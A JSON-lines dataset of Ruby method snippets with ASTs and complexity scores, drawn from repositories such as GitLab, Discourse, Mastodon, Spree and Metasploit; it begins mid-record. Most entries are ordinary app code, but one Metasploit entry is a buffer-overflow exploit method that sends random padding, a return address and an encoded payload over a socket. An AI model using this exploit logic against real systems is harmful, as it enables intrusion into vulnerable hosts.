\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_packages\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"subject\"]}]},\"to_sentence\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"without\",{\"type\":\"sym\",\"children\":[\"subject\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"send\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"d0779543-1ff2-40cf-bf75-a6bf4e1ee04a"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/app/models/rule.rb","start_line":68,"raw_source":"def tags=(array)\n    if array.nil? || array.empty?\n      super(nil)\n    else\n      super(array)\n    end\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"tags=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"array\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"array\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"array\"]},\"empty?\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"array\"]}]}]}]}","id":"377251d4-4031-4a76-a7cb-20035d56b1f9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/modules/file_pull_requests.rb","start_line":42,"raw_source":"def initialize(api_key)\n      self.owner            = 'rapid7'\n      self.repository       = \"#{owner}/metasploit-framework\"\n      self.branch           = 'master'\n      self.git_access_token = api_key\n      self.git_client       = Octokit::Client.new(access_token: git_access_token)\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"api_key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"owner=\",{\"type\":\"str\",\"children\":[\"rapid7\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"repository=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"owner\"]}]},{\"type\":\"str\",\"children\":[\"/metasploit-framework\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"branch=\",{\"type\":\"str\",\"children\":[\"master\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"git_access_token=\",{\"type\":\"lvar\",\"children\":[\"api_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"git_client=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Octokit\"]},\"Client\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_token\"]},{\"type\":\"send\",\"children\":[null,\"git_access_token\"]}]}]}]}]}]}]}","id":"2cc464b1-a970-4c60-a5e4-cedb142b0c89"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/crypto/block_cipher_base.rb","start_line":83,"raw_source":"def encrypt(plaintext, key, msg_type, confounder: nil)\n            ki = derive(key, [msg_type, 0x55].pack('NC'))\n            ke = derive(key, [msg_type, 0xAA].pack('NC'))\n            confounder = Rex::Text::rand_text(self.class::BLOCK_SIZE) if confounder == nil\n            plaintext = confounder + pad_with_zeroes(plaintext, self.class::PADDING_SIZE)\n            hmac = OpenSSL::HMAC.digest(self.class::HASH_FUNCTION, ki, plaintext)\n\n            encrypt_basic(plaintext, ke) + hmac[0,self.class::MAC_SIZE]\n          end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"encrypt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plaintext\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"msg_type\"]},{\"type\":\"kwoptarg\",\"children\":[\"confounder\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ki\",{\"type\":\"send\",\"children\":[null,\"derive\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg_type\"]},{\"type\":\"int\",\"children\":[85]}]},\"pack\",{\"type\":\"str\",\"children\":[\"NC\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ke\",{\"type\":\"send\",\"children\":[null,\"derive\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg_type\"]},{\"type\":\"int\",\"children\":[170]}]},\"pack\",{\"type\":\"str\",\"children\":[\"NC\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confounder\"]},\"==\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"confounder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text\",{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"BLOCK_SIZE\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"plaintext\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confounder\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"pad_with_zeroes\",{\"type\":\"lvar\",\"children\":[\"plaintext\"]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"PADDING_SIZE\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hmac\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"HMAC\"]},\"digest\",{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"HASH_FUNCTION\"]},{\"type\":\"lvar\",\"children\":[\"ki\"]},{\"type\":\"lvar\",\"children\":[\"plaintext\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encrypt_basic\",{\"type\":\"lvar\",\"children\":[\"plaintext\"]},{\"type\":\"lvar\",\"children\":[\"ke\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hmac\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"MAC_SIZE\"]}]}]}]}]}","id":"55c4a8da-03ac-4a81-bbb2-33f985deac46"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/asan_suid_executable_priv_esc.rb","start_line":91,"raw_source":"def base_dir\n    datastore['WritableDir']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"base_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]}]}","id":"bf1739e3-0c00-4bf1-9c97-738514c50ef6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/psoproxy91_overflow.rb","start_line":73,"raw_source":"def exploit\n    connect\n\n    exploit = rand_text_alphanumeric(1024, payload_badchars)\n    exploit += [target['Ret']].pack('V') + payload.encoded\n\n    sock.put(exploit + \"\\r\\n\\r\\n\")\n\n    disconnect\n    handler\n  end","complexity_score":20.9,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"exploit\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[1024]},{\"type\":\"send\",\"children\":[null,\"payload_badchars\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exploit\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Ret\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"adf0acfc-225d-4f80-bf51-ca03e3709816"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/handler/create_issue_handler.rb","start_line":17,"raw_source":"def initialize(mail, mail_key)\n          super(mail, mail_key)\n\n          if !mail_key&.include?('/') && (matched = HANDLER_REGEX.match(mail_key.to_s))\n            @project_slug         = matched[:project_slug]\n            @project_id           = matched[:project_id]&.to_i\n            @incoming_email_token = matched[:incoming_email_token]\n          elsif matched = HANDLER_REGEX_LEGACY.match(mail_key.to_s)\n            @project_path         = matched[:project_path]\n            @incoming_email_token = matched[:incoming_email_token]\n          end\n        end","complexity_score":27.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mail\"]},{\"type\":\"arg\",\"children\":[\"mail_key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mail\"]},{\"type\":\"lvar\",\"children\":[\"mail_key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mail_key\"]},\"include?\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"matched\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HANDLER_REGEX\"]},\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mail_key\"]},\"to_s\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project_slug\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matched\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_slug\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@project_id\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matched\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},\"to_i\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@incoming_email_token\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matched\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"incoming_email_token\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"matched\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HANDLER_REGEX_LEGACY\"]},\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mail_key\"]},\"to_s\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matched\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_path\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@incoming_email_token\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matched\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"incoming_email_token\"]}]}]}]},null]}]}]}]}","id":"61aceb35-a282-441a-bfeb-dd8be5688437"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/error_tracking_open_api/lib/error_tracking_open_api/models/stats_object.rb","start_line":62,"raw_source":"def initialize(attributes = {})\n      if (!attributes.is_a?(Hash))\n        fail ArgumentError, \"The input argument (attributes) must be a hash in `ErrorTrackingOpenAPI::StatsObject` initialize method\"\n      end\n\n      # check to see if the attribute exists and convert string to symbol for hash key\n      attributes = attributes.each_with_object({}) { |(k, v), h|\n        if (!self.class.attribute_map.key?(k.to_sym))\n          fail ArgumentError, \"`#{k}` is not a valid attribute in `ErrorTrackingOpenAPI::StatsObject`. Please check the name to make sure it's valid. List of attributes: \" + self.class.attribute_map.keys.inspect\n        end\n        h[k.to_sym] = v\n      }\n\n      if attributes.key?(:'start')\n        self.start = attributes[:'start']\n      end\n\n      if attributes.key?(:'_end')\n        self._end = attributes[:'_end']\n      end\n\n      if attributes.key?(:'interval')\n        if (value = attributes[:'interval']).is_a?(Array)\n          self.interval = value\n        end\n      end\n\n      if attributes.key?(:'group')\n        if (value = attributes[:'group']).is_a?(Array)\n          self.group = value\n        end\n      end\n    end","complexity_score":58.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"The input argument (attributes) must be a hash in `ErrorTrackingOpenAPI::StatsObject` initialize method\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"attribute_map\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_sym\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\"` is not a valid attribute in `ErrorTrackingOpenAPI::StatsObject`. Please check the name to make sure it's valid. List of attributes: \"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"attribute_map\"]},\"keys\"]},\"inspect\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_sym\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"start\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"start=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"start\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"_end\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"_end=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"_end\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"interval\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval\"]}]}]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"interval=\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"group\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group\"]}]}]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"group=\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]},null]}]}]}","id":"eb0bb141-8eb3-4b36-9143-0375db5ba678"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/measure/instance_followers_measure.rb","start_line":20,"raw_source":"def perform_total_query\n    domain = params[:domain]\n    domain = Instance.by_domain_and_subdomains(params[:domain]).select(:domain) if params[:include_subdomains]\n    Follow.joins(:account).merge(Account.where(domain: domain)).count\n  end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_total_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"domain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"domain\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"include_subdomains\"]}]},{\"type\":\"lvasgn\",\"children\":[\"domain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Instance\"]},\"by_domain_and_subdomains\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"domain\"]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"domain\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Follow\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"account\"]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]}]},\"count\"]}]}]}","id":"26d6b461-0de0-4211-88f6-f25aef420fae"}
{"repo_name":"forem","file_path":"./repos/forem/app/policies/comment_policy.rb","start_line":42,"raw_source":"def moderator_create?\n    Authorizer.for(user: user).accesses_mod_response_templates?\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"moderator_create?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Authorizer\"]},\"for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]},\"accesses_mod_response_templates?\"]}]}","id":"fbdc6499-501a-4324-8cc5-aeb854ad2470"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/empty_lines_around_access_modifier.rb","start_line":171,"raw_source":"def block_start?(line)\n          return false unless @block_line\n\n          line == @block_line + 1\n        end","complexity_score":3.55,"ast_json":"{\"type\":\"def\",\"children\":[\"block_start?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@block_line\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@block_line\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"f543aa2c-bf31-4769-9b1c-e857bbe99709"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/incoming_email_details_serializer.rb","start_line":6,"raw_source":"def initialize(incoming_email, opts)\n    super\n    @error_string = incoming_email.error\n    @mail = Mail.new(incoming_email.raw)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"incoming_email\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@error_string\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"incoming_email\"]},\"error\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@mail\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mail\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"incoming_email\"]},\"raw\"]}]}]}]}]}","id":"d2bfae2d-c15b-4f2e-b70a-aff13ae56509"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/resource_controller.rb","start_line":22,"raw_source":"def update\n    invoke_callbacks(:update, :before)\n    if @object.update(permitted_resource_params)\n      set_current_store\n      remove_assets(%w[asset image square_image])\n\n      invoke_callbacks(:update, :after)\n      respond_to do |format|\n        if update_turbo_stream_enabled?\n          format.turbo_stream do\n            flash.now[:success] = message_after_update\n          end\n        end\n        format.html do\n          flash[:success] = message_after_update\n          redirect_to location_after_save, status: :see_other\n        end\n      end\n    else\n      invoke_callbacks(:update, :fails)\n      respond_to do |format|\n        if update_turbo_stream_enabled?\n          format.turbo_stream do\n            flash.now[:error] = @object.errors.full_messages.join(', ')\n          end\n        end\n        format.html { render action: :edit, status: :unprocessable_entity }\n      end\n    end\n  end","complexity_score":57.7,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invoke_callbacks\",{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"sym\",\"children\":[\"before\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"update\",{\"type\":\"send\",\"children\":[null,\"permitted_resource_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_current_store\"]},{\"type\":\"send\",\"children\":[null,\"remove_assets\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"asset\"]},{\"type\":\"str\",\"children\":[\"image\"]},{\"type\":\"str\",\"children\":[\"square_image\"]}]}]},{\"type\":\"send\",\"children\":[null,\"invoke_callbacks\",{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"sym\",\"children\":[\"after\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_turbo_stream_enabled?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"turbo_stream\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"now\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[null,\"message_after_update\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[null,\"message_after_update\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"location_after_save\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"see_other\"]}]}]}]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invoke_callbacks\",{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"sym\",\"children\":[\"fails\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_turbo_stream_enabled?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"turbo_stream\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"now\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"errors\"]},\"full_messages\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"edit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}]}]}]}]}","id":"bdd03c81-7f53-493d-b293-d7a011bb156d"}
